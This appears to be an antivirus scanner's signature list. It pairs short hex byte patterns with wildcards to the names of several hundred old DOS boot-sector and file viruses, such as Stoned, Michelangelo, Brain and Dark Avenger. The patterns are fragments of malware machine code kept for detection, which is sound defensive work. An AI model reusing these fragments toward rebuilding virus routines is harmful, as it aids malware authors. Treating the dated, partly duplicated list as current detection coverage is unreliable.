        23 01 eb 00 bb ?02 03 36 01 01 b8 ?02 eb 02 *0c 31 *0c 75 Arka [Ark]
        81 ff 78 56 75 07 e9 e9 00 fe 02 37 14 fc Forger2 [For]
        b9 97 00 90 ba 00 01 cd 21 b4 57 Yukon [OW]
        b9 db 08 *06 81 ?01 fe ?02 5b 43 80 77 ff ?01 e2 f9 PCBB3072 [PCB]
        b4 19 cd 21 *07 b4 47 *04 04 01 *03 8a d0 Burger [Burger]
        b4 19 cd 21 *07 b4 47 *04 fe c0 *03 8a d0 Burger [Burger]
        b8 a9 02 2d *04 0c 7b 8c 06 0e Scythe2D [Scy]
        fa *03 bb 00 7e *09 cd 13 72 ea e9 Cansu [Can]
        a1 13 04 *05 a3 13 04 d3 e0 ExeBug [Swb]
        ff 0e 13 04 fa c7 06 4c 00 a7 00 Stealth [Stb]
        8b 1e 13 04 b9 06 00 83 eb 07 31 Mugshot [Msht]
        b9 00 02 fc 26 8a 05 34 2e aa e2 f8 Monkey [Mon]
        33 c0 8e d8 be 13 7c b9 a5 01 8a 3e ba Aragon [Arag]
        fe 5a 58 03 06 41 03 83 d2 00 03 06 Ten_bytes [1554]
        07 1e 26 a1 2c 00 0b c0 75 VTS [VTS]
        33 ff b9 00 02 f3 a4 ea 1f 00 00 30 06 1f b4 0d Boot Killer [BKil]
        8b f4 fb a1 13 04 *14 f3 a4 b8 2e NOP [NOP]
        90 4b 49 4c 52 4f 59 Kilroy [Klr]
        eb 3c 90 43 *5a a3 ?01 7d a1 4e 00 a3 Cannabis [CB]
        ea a7 01 c0 07 44 4f 53 H-2 [H-2]
        13 04 8b 04 48 89 04 Windmill [WM]
        13 04 8b 04 48 89 04 Windmill [WM]
        fb b8 c0 07 8e d8 1e b8 52 00 50 cb b8 40 00 8e c0 Curse [Curse]
        f7 e3 2d 00 10 8e c0 Filler [Filler]
        8c c8 8e d8 8e c0 8e d0 bc 00 f0 Music Bug [MBug]
        cd 13 b8 02 02 b9 06 27 ba 00 01 Israeli Boot [Iboot]
        90 ea 59 ec 00 f0 90 90 Ghost [Ghost]
        a1 4e 00 a3 0c 7c a1 13 04 48 48 a3 Michaelangelo [Mich]
        b8 ?01 00 a3 4c 00 *01 8c 06 4e Stoned [Stoned]
        e8 *05 1f *03 ff 2e *10 b8 01 02 *05 00 Stoned [Stoned]
        ab 00 48 48 a3 13 04 b1 06 d3 e0 Stoned [Stoned]
        ea 9f 01 c0 07 Empire [Emp]
        d8 8e d0 bc 00 f0 fb e8 27 Mardi Bros. [Mardi]
        75 1c 80 fe 01 75 17 5b 07 1f 58 83 EDV [EDV]
        b4 00 cd 13 72 0d b8 01 Yale/Alameda [Alameda]
        fb 8e d8 fe 0e 13 04 a1 13 04 Loa Duong [Loa]
        8e d3 bc 00 7c fb 33 ff 83 2e 13 Tequila [Teq]
        fe 06 ?02 80 3e ?02 80 72 1a c6 06 ?03 fc be Bloody! [Bloody]
        d8 *02 8e d0 bc 00 7c *02 a1 4c 00 a3 Azusa [Azusa]
        8e d0 bc 00 f0 fb a1 13 04 2d 04 Microbes [Micro]
        fb 8e d8 a1 13 04 48 a3 Anti-Tel [A-Vir]
        74 01 bf 03 00 b9 20 00 f3 a4 Print Screen-2 [P-2]
        cd 05 fe c8 a2 60 01 c3 6f 6e 2d Print Screen [PrtScr]
        8e d0 bc f0 ff fb bb 13 04 Korea [Korea]
        c3 10 e2 f2 c6 06 f3 01 ff 90 eb 55 Disk Killer [Killer]
        c3 00 02 e2 f4 a1 13 04 2d 07 Pakistani Brain/Ashar [Brain]
        b9 0c 29 bb 00 7e b8 ?01 02 cd 13 RPKS [RPKS]
        b9 21 28 bb 00 7e b8 ?01 02 cd 13 Ohio [Ohio]
        e8 b2 00 5a 5e 1f 33 c0 50 b8 00 7c Form [Form]
        a1 f5 81 a3 f5 7d 8b 36 f9 81 Ping Pong - Version B [Ping]
        24 13 55 aa Typo Boot [Tboot]
        fa 33 c0 8e d0 bc ?02 fb 0e 1f SVC [SVC50]
        fb b8 03 00 e8 1f 00 06 b8 Flip [Flip]
        f3 a4 8c c0 05 20 00 8e c0 bb Joshi [DROP]
        87 06 ?01 00 a3 *1e f3 a5 *02 06 b8 ?01 00 50 cb AirCop [DROP]
        e4 cd 13 33 db 2e 8a 36 20 7d 2e 8a 1253 [1253]
        75 ed 06 1e 07 1f 32 f6 b9 02 00 33 Anthrax [Atx]
        8e d8 a1 13 04 b1 06 d3 e0 8e d8 Invader [Invader]
        f3 a4 8c c0 05 20 00 8e c0 bb Joshi [Joshi]
        87 06 ?01 00 a3 *1e f3 a5 *02 06 b8 ?01 00 50 cb AirCop [AirCop]
        e4 cd 13 33 db 2e 8a 36 20 7d 2e 8a 1253 [1253]
        75 ed 06 1e 07 1f 32 f6 b9 02 00 33 Anthrax [Atx]
        8e d8 a1 13 04 b1 06 d3 e0 8e d8 Invader [Invader]
        8e d8 8e d0 bc 00 7c 50 fb 33 Queen's [Queen]
        b3 ff b8 43 42 cd 21 3d 78 56 75 13 07 2e Invader [Invader]
        fa b8 c0 07 8e d8 bf 00 Generic Boot [Genb]
        fa b8 c0 07 8e d8 bf 00 Generic MBR [Genp]
        13 04 *12 b1 06 d3 Generic Boot [Genb]
        13 04 *12 b1 06 d3 Generic MBR [Genp]
        06 1e 07 b4 1a ba ?02 cd 21 b4 4e 33 c9 ba ?01 01 COM [CM]
        0e 1f b4 35 b0 21 cd 21 *10 02 b4 25 COM [CM]
        72 *03 b4 40 b9 ?01 00 ba 00 01 cd 21 H&P [Hst]
        bb 32 01 8a 27 a0 31 01 32 e0 88 27 43 Leper AOD [OW]
        ba ab 03 b4 3b cd 21 46 3b 36 0d 03 Leper [OW]
        b9 ff 00 ba 00 00 cd 26 b4 00 cd 16 b8 03 00 cd 10 V1-Not [OW]
        75 04 b0 00 eb 02 b0 01 a2 a4 3c 8000 [OW]
        e8 d9 01 59 b8 8c 06 50 e8 d1 01 59 b8 c3 06 Lug [OW]
        bb 3f 01 90 8a 27 90 32 26 08 01 90 Wake [OW]
        81 32 f6 eb d8 b0 41 e6 74 ba 40 00 8e da bb 72 Explode [OW]
        ba 9e 00 cd 21 b4 40 b9 32 00 ba 00 01 Dust [OW]
        8b 1e fc 01 b9 fc 00 8b 16 02 02 83 c2 62 Veng-B [OW]
        8b 1e 86 02 cd 21 72 46 90 90 90 89 0e 88 02 Veng-C [OW]
        8b 1e b3 02 cd 21 72 46 90 90 90 89 0e b5 02 Veng-D [OW]
        8b 1e 27 03 cd 21 73 03 e9 dd 00 89 0e 29 03 Veng-E [OW]
        8b 1e 39 03 33 c9 33 d2 cd 21 1e b4 3f Veng-F [OW]
        b8 53 46 bb 00 00 b9 02 00 cd 2f Venge-E [OW]
        ba 6c 03 b4 3f cd 21 e8 29 00 Scribble [OW]
        b9 8b 00 90 cd 21 5a 59 b8 01 57 cd 21 b4 3e cd 21 59 ba 9e 00 Banana [OW]
        b4 4e ba ?01 01 cd 21 *02 b8 02 3d ba 9e 00 cd 21 *02 93 Micros [OW]
        ba 60 01 b9 26 00 cd 21 72 1e b4 41 ba 53 01 102 [OW]
        b9 1c 01 cd 21 b4 3e cd 21 b4 4f ba 00 01 cd 21 Blaze [OW]
        bf 3e 04 0e 57 31 c0 50 9a f9 08 67 4915 [OW]
        f6 b8 03 05 50 e8 eb 01 59 e8 a7 00 0b c0 74 0a Silver3b [OW]
        3e 01 a0 06 01 0a c0 74 0b 30 07 43 Secrets [OW]
        81 f9 bc 07 7e 1b eb 01 90 b4 2a Seneca [OW]
        89 1e 70 00 8c 06 72 00 ba 74 00 b4 1a V1_1 [OW]
        89 1e 82 00 8c 06 84 00 ba 86 00 b4 1a V2_0 [OW]
        89 1e 5b 00 8c 06 5d 00 ba 65 00 b4 1a V1_0 [OW]
        b4 4e *07 ba 9e 00 *0b cd *37 2a 2e Mini [M45]
        48 00 26 48 61 68 02 21 20 20 Aids92 [OW]
        bb 92 01 eb 21 33 c0 be 00 7c fa BFD [BFD]
        b9 bc 02 f3 a4 06 1f b8 21 35 cd Penza [Pnz]
        b9 be 09 2e 00 04 2e f6 ad Magnum [Mgm]
        8b 36 01 01 81 ee 00 02 2e 89 36 00 01 Plutto [Plu]
        2b 01 b9 44 02 51 2e a0 07 01 Prime [Prm]
        81 ed 07 01 e8 02 00 eb 41 b9 e8 03 Suicide [Sui]
        50 e8 00 00 ?01 83 ?01 0d ?03 31 ?03 75 fa Andre [And]
        50 ?06 2e 31 ?03 75 f9 Andre2 [And]
        b9 ?01 01 8b dd fc ad *01 33 87 ?02 ab e2 Astra [AST]
        b9 2b 00 b2 aa 8d be 62 00 fe c2 30 15 Atas [Ata]
        ee 11 b8 44 00 8e c0 26 8a 1d b9 54 01 Squisher [Squ]
        21 35 a8 04 02 00 56 05 19 02 28 02 06 007 [007]
        80 f4 4b 75 49 b8 02 3d cd 132 [132]
        eb 0e 53 6f 6d 65 74 68 69 Something [658]
        80 c6 10 8e c2 52 56 b4 26 Hacktic2 [Hck2]
        89 0e 6d 01 89 16 71 01 5b Virus9 [V9]
        be c2 09 03 f3 b9 4f 00 2e Bow [5856]
        8b 1e 03 00 40 81 eb da 00 89 VVF-34 [vvf]
        ba 00 05 cd 21 e8 d5 00 bf 50 04 1280 [1280]
        81 c4 58 09 fb 3b 26 06 00 73 2136 [2136]
        8a a4 4f 04 8d bc 20 01 b9 2f 03 89 VDV-853 [VDV]
        87 06 0e 00 50 cc 58 9d 58 26 Lamer [Lam]
        e8 00 00 bb 4c 03 53 8b fc 33 f6 Albanian [Alb]
        0e 1f b0 ?01 be 11 00 b9 24 03 2b Silly Willy [SilW]
        be 15 00 8b 1a b9 d0 08 81 e9 73 Silly Willy [SilW]
        e8 00 00 ?01 81 ?03 b9 ?01 06 *03 80 ?02 46 e2 fa 1720 [1720]
        81 ed 06 01 8d b6 15 03 bf 00 01 57 a5 a4 8b fd VCL [Con]
        8d ?01 15 01 b9 7d 09 81 ?05 e2 f8 VCL [Con]
        01 c3 *63 5b 56 43 4c 5d VCL [Con]
        e8 00 00 5d 81 ed 06 01 8d b6 14 03 bf 00 01 57 a5 a4 VCL [Con]
        e8 00 00 5f 83 ef 03 8d 75 0d e8 VCL [Con]
        e8 00 00 5d 81 ed 06 01 e8 VCL [Con]
        bb c3 02 81 30 ?02 90 4b 75 f8 c3 VCL [Con]
        8d be 0e 01 b9 ?02 81 35 ?02 47 47 e2 f8 c3 VCL [Con]
        bf ?02 b9 ?02 81 35 ?02 47 47 e2 f8 c3 VCL [Con]
        be ?02 b9 ?02 81 34 ?02 46 46 e2 f8 c3 VCL [Con]
        8b 2e 01 01 *0b 8b f5 *08 a4 *14 b4 2f cd 21 89 9e ?02 8c c3 89 9e Dest1-2 [Dst1]
        8b 2e 01 01 81 ed 1f ff e8 e7 ff bc 4e 02 Dest3 [Dst3]
        89 26 24 01 8c c8 8e d0 bc f7 01 DTR [DTR]
        ee 09 b8 00 00 8e d8 89 36 12 03 0e 1f Sk [Sk]
        ee 09 0e 1f 0e 07 89 36 6f 04 fc bf Sk1 [Sk1]
         1 81 3e 7c 02 1e 03 75 4d b4 52 cd 21 500 [500]
        81 ed 0b 01 3e c6 86 47 02 00 8d b6 04 Ash [Ash]
        89 2e 33 3c c7 06 1d 3c ff ff e8 13 01 Com16850 [C16]
        8d bc 19 01 81 c6 12 01 b9 07 00 90 fc Happy [Hpp]
        01 5e 56 8b fe 33 c0 8e d8 c4 1e 4c LixoNuke [Lix]
        01 44 34 80 3c 00 75 0c 8b 44 01 a3 Hellween 1182 [1182]
        a3 84 00 8c 1e 86 00 fb eb b9 9c 80 fc Troi Two [Tr2]
        bf 0a 01 be 96 01 1e 0e 1f e8 Mocha [Mch]
        8d 77 ca bf 00 01 b9 05 00 fc f3 a4 CV4 [CV4]
        89 1e bb 03 8c 06 bd 03 ba a4 Geek [GK]
        b8 cd ab cd 21 3d ef cd 74 05 e8 557 [557]
        be 6a 04 bf 00 01 b4 dd b9 00 ff Piazzola [Pia]
        81 ee 03 01 *0f 33 c0 *02 8e *08 a1 9a 00 Hafen [Hafn]
        8a 05 b3 ?01 34 ?01 b3 ?01 88 05 b3 ?01 47 b3 ?01 e2 ef 2153 [2153]
        81 ed 03 01 8d 9e 20 01 8d 96 8b 01 3e 8a 8e 03 01 Rattle [Rttl]
        8a 8e 03 01 3b da 74 05 30 0f 43 Mexican [Mex]
        b9 ec 01 be 14 01 ?02 28 24 46 80 c4 ?01 e2 f8 Silence [Sil]
        b8 cd 7b cd 21 81 fb cd 7b 74 7f 33 db 0e 1f Evil Genius [Egn]
        bf 03 00 *0f 32 *0a 80 ?01 11 Slovak 1 [Slv]
        be 03 00 *0f 32 *0a 80 ?01 11 Slovak [Slv]
        80 bc fe fc 00 74 06 b8 cb 11 Slovak [Slv]
        b2 ?01 eb 11 2e 8a 5e 00 32 da 2e 88 5e 00 80 Slovak [Slv]
        26 8a 1d 32 d8 2e 88 1d 04 11 47 e2 f3 c3 Slovak [Slv]
        01 ba 2a 00 03 d7 8b da b4 1a cd REQ [Req]
        be 39 04 4e 2e 80 34 ?01 81 fe 05 01 75 f5 e9 0f fe Huge [Huge]
        8b 0e cb 02 81 c1 00 01 2e 89 0e cd 02 ZY [ZY]
        e8 00 00 b9 ?01 06 *08 5e *11 ff *02 e2 PCBB3B [PCB]
        01 cd b4 ?01 ac 32 c4 88 44 ff e2 f8 PCBB11 [PCB]
        b9 70 06 ?02 e8 00 00 *04 81 ?01 fe ?01 00 5b 43 80 77 ff PCBB5B [PCB]
        bb 01 01 8a 27 bb 02 01 8a 07 Why_win [Why]
        fd b4 19 cd 21 88 46 6d e8 e2 fe DataFire [fizzle]
        b9 a7 06 fc ac c0 c8 04 2e 32 06 a7 06 Davis [Davis]
        c3 fa 0e 1f 33 c0 8e c0 bf 0c 00 a1 Chang [Cha]
        b9 63 06 8c c8 8e d8 bf 00 00 b8 60 9f VA [VA]
        89 86 16 04 33 ff c7 45 4a 00 00 Green [Gre]
        8e c0 33 db 26 89 1f b8 80 1030 [1030]
        8a 16 09 00 bb 38 00 8a 07 32 c2 Chaser [Chs]
        f6 e8 8b 00 0b c0 74 0a e8 51 RMIT [RMIT]
        fa 8b ec e8 00 00 5e 81 ee 9a 01 2e f6 84 1661 [1661]
        ba 22 00 83 c2 02 06 1f b8 47 25 Pitch [Ptch]
        81 eb 97 04 83 eb 03 8c c8 2e Malaise [Mls]
        be 5d 01 8b fe b9 2e 01 b3 7f Bloodlust [Blus]
        81 eb 29 01 2e f6 87 22 01 01 74 0f Turkey [Trk]
        b9 89 01 80 35 2a 47 e2 fa OMT [417]
        fa 06 33 c0 8e c0 b8 2b 00 26 87 06 0c 00 50 8c c8 Topo [Topo]
        8a 26 07 01 eb 12 90 ac 32 c4 aa e2 fa ANT [Ant]
        5e 3d c7 07 75 11 33 c0 8b d8 8b cb 702 [702]
        81 ee c9 00 b4 4e ba bf 00 205 [205]
        2e 02 01 b8 ?02 a3 00 01 b8 ?02 a3 02 01 ba d0 00 b4 1a RefRef [Vot]
        56 *03 83 c6 20 *0a fc *04 ad *0a 33 *03 ab e2 f8 5e c3 Todor [Tdr]
        be 9c 07 81 ee 03 01 01 de 89 04 be 9e 07 1835 [1835]
        b9 37 01 ?03 50 80 34 ?01 46 e2 fa DM-330 [DM300]
        8e 06 04 00 8e 1e 04 00 fb ea ?04 b0 5c a2 af 00 be b0 Intrud-B [Intr]
        83 c7 0a b9 ?02 2e 8a 84 ?02 2e 30 05 fe c0 Horror [Hrr]
        c4 3e 07 01 06 57 c4 3e 0b 01 06 57 ff Krivmous [Krv]
        80 00 17 9e 83 da 00 73 95 81 eb 8b Lanc5476 [Lan]
        80 11 8b 1e 3a 04 c8 2e f7 26 e9 04 Lanc5882 [Lan]
        9a 0e 02 f0 00 b8 f4 01 50 9a 9e 02 5e Lanc [Lan]
        3e c3 00 41 74 07 80 3e c3 00 42 75 4a PA-5792 [PA]
        81 eb 07 01 83 bf 01 01 00 74 0e 8d b7 Casc1621 [Cas]
        89 0e 78 01 c6 06 2d 01 01 e8 ab 00 Stink2 [Sti2]
        ba 48 ff c7 06 55 ff 24 00 b4 09 cd Timid305 [Timid]
        e8 00 00 83 2e fc ff 09 ba 2a Timid [Tmd]
        81 fb 91 19 75 03 e9 11 01 b4 52 Enola [Eno]
        83 ee 09 56 fc bf 00 01 b9 05 00 Cracky [Crk]
        04 06 2e 8c 06 65 00 2e 8c Mummy [Mum]
        8c c8 *0a 68 07 *03 50 *04 cb Cheeba [Che]
        8c c8 *0a 70 07 *03 50 *04 cb Cheeba [Che]
        80 35 26 47 81 ff 68 07 Cheeba [Che]
        81 ?01 70 07 ?01 f5 *07 e9 96 fe Cheeba [Che]
        b9 8a 03 b3 ?02 2e 30 1c 46 e2 f9 Sticky [ML2]
        b9 00 01 f3 a4 2d 10 00 50 b8 37 01 50 cb Nina [Nina]
        fe b9 40 00 57 f3 a4 58 ff e0 be 00 01 Dot Killer [Dot]
        b9 00 01 f3 a4 8e c0 1e e9 b1 01 Stahl Platte [Sta]
        80 fc dd 74 26 b8 21 35 Error [Er]
        e9 99 00 0e 1f b8 21 35 cd 21 89 1e ?01 01 Arma [Arma]
        3e 72 02 01 74 0c 01 06 90 00 83 Saturday [Sat14]
        83 c6 2d bf 00 01 57 a5 a5 c3 Europe 92 [E92]
        56 bf 00 01 81 c6 ?02 a5 a4 5e e8 Mayak [Mayk]
        e7 cd 21 80 fc 7b 75 ?01 8c c0 05 10 Spyer [Spyer]
        1e b8 f0 00 50 8b ec ff 5e 00 58 Here [Hre]
        b4 4f cd 21 73 e5 ff 06 41 03 8c c8 Star Dot [Sdot]
        f6 06 ?02 01 *02 74 08 8e d0 Dot-801 [I-F]
        8e c0 26 8b 1e 6c 04 89 1e 66 04 Dot-789 [789]
        51 ba ?02 8b f2 8b 16 46 0f ?02 fc eb 45 FOB [FOB]
        e8 00 00 5b *0a 81 eb ?02 0e 1f *14 cd *14 80 Tumen [Tum]
        e8 13 fe b4 ff cd 21 3d 00 00 74 Tumen V2.0 [Tum2]
        1e 33 db 8e db bb 00 06 83 3f ?01 74 Keypress [Key]
        8c cb 03 1e 02 01 53 bb ?01 01 53 cb Keypress [Key]
        fa 2b 06 92 03 83 da 00 a3 98 03 a3 Keypress [Key]
        10 00 8e c0 *0a 00 01 *05 b9 *0c f3 a4 Feist [Fst]
        8a 26 29 01 32 26 00 01 be 03 01 Thursday 12th [T12]
        d8 b9 a0 06 bf 03 00 2e a0 1992 [1992]
        e8 03 00 e9 ?02 51 bb 38 01 1992B [1992B]
        2e 8c 06 01 00 8c c8 8e d8 bf 03 00 1992B [1992B]
        2e 8a 26 2f 0e 3e 30 27 43 e2 fa Mule [Mule]
        72 71 32 c0 2e a2 ?01 00 2e 8b 36 Plastique [Plq]
        01 ?01 03 ?01 8b *09 33 ?01 22 ?04 f8 ?01 31 ?01 22 ?04 f8 P1 [P1r]
        b8 40 4b cd 21 3d 78 56 75 12 Taiwan3 [T3]
        b8 50 4b cd 21 3d 34 12 75 10 Taiwan4 [T4]
        b4 e1 cd 21 80 fc e1 73 16 80 Fu Manchu [Fu]
        bf 3c 01 b9 08 00 b0 ff f3 aa bf 59 01 b3 07 e8 19 00 4f DAME * [DAME]
        04 d3 ea 83 ea 10 8c d9 03 ca ba 6d DAME * [DAME] 
        bb 4d 08 30 07 1e 2b f6 8e de Bomber [Bmb]
        b4 1a cd 21 *07 58 *04 ff *19 81 c2 Russian-A [RA]
        d8 bb 17 00 29 1e 03 00 29 Boojum [Boo]
        bf 00 01 57 be 2b 03 b9 03 00 928 [928]
        75 04 b4 4f eb f3 *0f 4c cd 21 fa Itti [Itt]
        be ?01 01 8b fe *04 fc ad 33 06 03 01 ab BB [BB]
        2e 89 84 ?01 06 2e 8c 84 ?01 06 Dark Avenger [Dav]
        1e 57 9a e3 08 *5a a0 16 57 b8 1b RNA2 [R2]
        2e 81 37 ?02 83 c3 02 e2 f6 Ear [Ear]
        1e 0e 58 05 ?02 8e d8 b4 4-A [4A]
        bf 00 01 fc ff e7 b4 0e Mog [Mog]
        f3 aa ca *14 57 6f 4c 66 49 Wolf [Wolf]
        bb 36 00 8a 07 32 c2 88 880 [880]
        cd 20 0a 0d 4f 4b Horse [Hrs]
        81 ee 0b 01 e8 09 00 e8 334 [334]
        8d 0e 2f 0e 2b ca fc ac Shield [Shld]
        b8 ab 9c cd 2f 3d 76 2623 [2623]
        bf 00 01 89 fe 83 ee f0 ff LK [LK]
        21 c6 46 95 00 81 f9 bc Emmie [Em]
        8b f2 83 c6 19 bf 00 01 b9 03 00 Beast [Bt]
        81 c7 14 0a 72 28 *5a 8e 06 35 02 bf b6 17690 [17690]
        81 fb cd ab 75 02 eb ?01 b4 Cuban [Cub]
        81 fb ba 00 74 4c 89 1e Quake [Qk]
        07 b9 ?01 05 3e 8a 9e 08 00 ac 32 Athens [Ath]
        b8 00 01 9a 7c 02 ?01 00 *37 9a d5 01 ?01 00 Animus [Anm]
        ee 03 2e 89 84 *28 33 d2 b4 *06 81 fa 90 19 SVC [SVC50]
        21 3d 51 90 74 55 be 02 981 [981]
        01 06 5c 04 b8 42 42 cd Mummy [1339]
        f5 56 ?02 b9 ?01 02 ?01 2e 30 04 46 e2 Scream2 [696]
        81 c3 ?02 80 37 ?01 43 e2 fa Gomb [Gomb]
        89 f7 b9 ?02 b4 ?01 ac 32 c4 aa Fil [Fil]
        e8 00 00 5e 83 ee *17 cd 21 *1c 89 *0f 75 UNK [UNK]
        ea 20 33 ff 3e 8a 86 Ill [Ill]
        b9 ce 02 be ?02 8b d9 28 00 Null [Nl]
        01 b9 fc 00 f3 a4 b8 00 01 59 ZMT [ZMT]
        a5 03 b9 14 00 33 f6 33 c0 MPC [MPC]
        83 bc df 04 01 74 02 cd 20 Gliss [Gls]
        d8 72 34 b4 3f ba 7f fd cd Anto [Anto]
        b9 15 03 8a 54 66 30 90 51 Kuzmitch [Kzm]
        53 e8 80 00 50 f3 a6 74 1e Peach [Pch]
        21 3d 71 19 75 03 e9 bb 00 Imp [Imp]
        81 bc 30 03 4d 5a 74 2e Squawk [Sqk]
        b4 fc cd 21 3c a5 74 28 Troi [Troi]
        16 f4 01 b8 00 20 50 *50 8b 00 e8 RNA [RNA]
        b9 af b5 60 b5 b3 a5 Shield [Shd]
        04 46 *14 32 ?01 8a *04 aa e2 ?01 eb Moctezuma [Mct]
        8d 26 14 07 8c d9 03 Munich [Mnc]
        83 ea 03 b9 93 01 cd 21 EMF [Emf]
        07 32 06 06 01 88 07 43 Busted [Bst]
        04 d3 ea 83 ea 10 8c d9 03 ca ba 56 Russian [RusD]
        04 bb de 03 b9 7f 00 58 V914 [914]
        81 02 57 8b d6 fc b9 03 Beware [Bwr]
        90 47 e2 f8 a9 7e 39 c3 1308 [1308]
        89 26 1c 00 8c c8 fa 8e Sadist [Sadt]
        bf 00 01 8b c7 *08 a5 *0f ff e0 DM-B [DMB]
        b8 ff 43 cd 21 8c d8 2d 11 Creeper [Crp]
        8a 86 40 03 *0a 8a 96 41 03 *14 b9 1b Scr-2 [Scrm2]
        81 ee 58 01 56 50 06 0e Hellween [1376]
        e8 00 00 ?01 be ?04 b9 *0c 30 ?02 e2 Nines [Nns]
        81 f9 c9 07 72 06 80 Bob [Bob]
        b8 00 3e e8 *04 8b *0f b8 01 43 Idle [Idle]
        b8 87 4b cd 21 3d 63 66 75 HS [HS]
        bf 30 05 b9 ?02 51 33 c0 8e ZMT [ZMT]
        33 c0 33 db 33 c9 33 d2 33 f6 *14 bf 00 01 1385 [1385]
        3c 75 06 2e c6 87 8a 01 Mface [MFC]
        80 fc ab 75 02 eb 31 b8 DoDo [DOD]
        0e 27 06 2e 89 1e 29 06 Dada [DD]
        d8 ff 0e 13 04 c5 1e 84 00 Scream [Sr]
        01 a2 ca 07 a2 db 07 a2 Malaga [Mlg]
        1f fd 72 0d b8 f3 c1 cd Micropox [K]
        2e ff b5 ?01 07 bb ?01 06 b9 ?01 01 58 Kbug [Kbu]
        5e 2e 8a 44 ?01 3c 00 74 *07 90 ZRK [ZRK]
        a1 03 00 2d 00 01 *0c 26 81 2e Sis [Sis]
        a4 5f 57 b8 21 35 cd 21 81 JD [JD]
        12 9c 9d 03 07 9c 43 43 e2 CKsum [CKs]
        8b 46 ?01 a3 00 01 8a 46 ?01 a2 Albania [Alb]
        bf 00 01 a5 *03 a4 *09 b4 ?01 cd 21 *0c 80 Manola [Mno]
        a4 ba 00 fe b4 1a cd 21 ba 67 109 [109]
        b4 4e ba 27 01 31 c9 cd 21 72 P-45 [P45]
        8c c8 01 06 0c 01 ff 1e 0a Quiet [Qt]
        1e 65 03 53 e8 19 00 5b b9 Sh [Sh]
        e8 00 00 5e 83 ee *14 56 *1a 74 *07 03 Zaragoza [Zar]
        e8 00 00 5e 56 fa 83 c6 1b 90 Brainy [Bry]
        d8 8f 44 da cd 20 *5a bb 40 7d 8a Catman [Ctm]
        4d 41 4e ff ff ba C [CV]
        fc 11 74 26 80 fc 12 74 21 80 Criminal [Crm]
        c3 0e b0 00 fa d5 0a 88 07 Hungarian [Hng]
        ba 79 02 03 d7 b4 1a cd August16 [A16]
        07 ab a5 b8 21 25 cd 21 07 D-Tiny  [D-T]
        81 ee 03 01 50 ?01 c0 8e d8 Nov 17 [855]
        01 3d ba 9e 00 cd 21 93 Define [Def]
        5e 81 ee 0e 01 e8 05 00 Marauder [Mar]
        75 25 bf ?01 01 90 56 03 f7 ac ZU1 [ZU1]
        f3 bf 0e 0c 0e 57 9a 16 487 [487]
        ba 16 03 cd 21 72 6f b8 Psycho [Psc]
        81 3e 67 04 56 44 1f 75 Mannequin [Mn]
        8d 77 17 8a 04 d0 e0 Demolition [Dmo]
        b8 b8 00 9a 44 02 57 01 Halloween [HW]
        b4 e0 fc cd 21 80 fc 03 75 1244 [1244]
        e8 3c 0d 83 *20 b4 0b 59 0b *21 e8 f4 05 Wonder [Wond]
        8b d6 *02 b9 80 00 *02 8b f2 *02 46 *02 8a Murphy [Murphy]
        01 8a 27 32 26 ?01 01 88 Viper [Vip]
        b8 6e 4b cd 21 3d 54 56 75 Ontario [730]
        2e 30 *0a 28 27 90 90 43 90 Flu [Flu]
        5b 0e b9 00 01 51 1e 06 b1 Sov [Sov]
        53 51 bb 12 01 8b 0f 1e 5b 03 Lib1172 [1186]
        ea 83 c5 41 90 55 eb 0d 50 Rage [Rag]
        43 b4 2a cd 21 80 fa 0d 75 Eliza [El]
        8b fe ac 32 c4 aa e2 fa Beta [Bet]
        d8 bb 98 00 01 d3 8b 0f ASP-472 [472]
        12 b4 2c cd 21 80 fa 32 7c Plov [Plov]
        ed 78 06 0e 1f 0e 07 bf QMU [QML]
        8b 84 d3 01 40 89 84 d3 MPS1.1 [M11]
        b4 2a cd 21 81 f9 c7 07 *08 03 1241 [1241]
        f3 47 ba 54 48 26 39 15 Day10 [D10]
        e8 00 00 58 2d ?01 00 ?03 06 *07 8b *08 00 CSL [CSL]
        b8 b7 00 50 cb 54 6f 6e 79 Tony [Tn]
        89 4e 49 72 ea b8 01 43 8d Joke [JK]
        e7 01 08 fe 0e e7 01 be SX [SX]
        fc 1e 7c 0f b4 13 cd 2f Brothers [Bro]
        1f 89 0f 89 4f 02 61 07 Stink [Sti]
        e7 fe 0f be 2c 01 90 b9 KU-448 [KU]
        2e 83 84 67 03 10 06 1e Hero-394 [HrB]
        bb 3e 02 81 eb 2a 01 8b Hary [Hary]
        fb e9 b3 fe b0 00 b4 Squeaker [Sqe]
        80 f4 a7 88 65 28 90 47 MPS 3.1 [MPS]
        8d 94 ?01 01 cd 21 72 07 e8 b8 MSTU [MSTU]
        21 3d 55 55 75 03 eb 5b 370-B [370]
        16 20 02 2e 89 16 00 01 8a V-5 [V-5]
        e8 1f 00 1f eb fe fa PC Flu [802]
        8b 44 f4 a3 00 01 8a 44 Multi [M-123]
        b4 4a cd 21 *14 c0 48 8e d8 c7 06 01 1530 [1530]
        b8 00 b0 eb *19 eb 73 03 b8 db Copyright [1193]
        f8 b4 47 32 d2 8d 36 d9 01 Grapje [Gr]
        b4 0e b2 02 cd 21 8c c8 SCT [SCT]
        b4 4a 0e 07 cd 21 fc b8 00 00 Barcelona [Barc]
        a4 c3 1e 07 1e 8e 1e 26 01 33 LCV [LCV]
        52 e8 06 02 72 2e e8 91 1452 [1452]
        81 f9 d0 07 75 03 e9 d2 621 [621]
        81 ed 0b 01 c6 86 3d 02 CRF [CRF]
        1f e8 00 00 5d 8d ae af Reset [RST]
        bf 00 01 2e 8b 36 62 *19 8c c8 Ada [Ada]
        81 ed 14 05 c3 bb 05 01 e8 PathHunt [Ph]
        81 eb 31 01 f6 87 2a 01 1701 [1701]
        b9 ?01 02 *03 8c dd *03 8c c8 *03 8e d8 Invol [Inl]
        b9 e8 03 b0 ?01 2e ?01 07 ?02 43 e2 f8 SBC [SBC]
        e8 00 00 *03 95 ?01 d6 *09 2e 33 ?01 1f *08 2e 31 V82 [V82]
        1e 06 eb 0c 90 *0f d8 be 84 01 Cara [Cara]
        e8 1d 00 ?02 e9 *0b ac dc e3 ?01 00 Poem [Pm]
        bb 8f 01 b4 0e *14 8b f7 bf Relzfu [233]
        2e 03 01 5b 53 c3 3d 4b 408 [408]
        b9 9f 04 be 10 01 b4 ?01 30 Pregnant [Prg]
        8b f5 81 c6 81 02 8b fb b9 07 Semtex [Set]
        be ?02 80 34 ?01 46 81 fe ?02 72 Kiev [K1]
        bf ?02 80 35 ?01 47 81 ff ?02 72 Kiev [K1]
        bb ?02 80 37 ?01 43 81 fb ?02 72 Kiev [K1]
        fc 40 74 1b 3d 42 30 75 0c Wordswap [Ws]
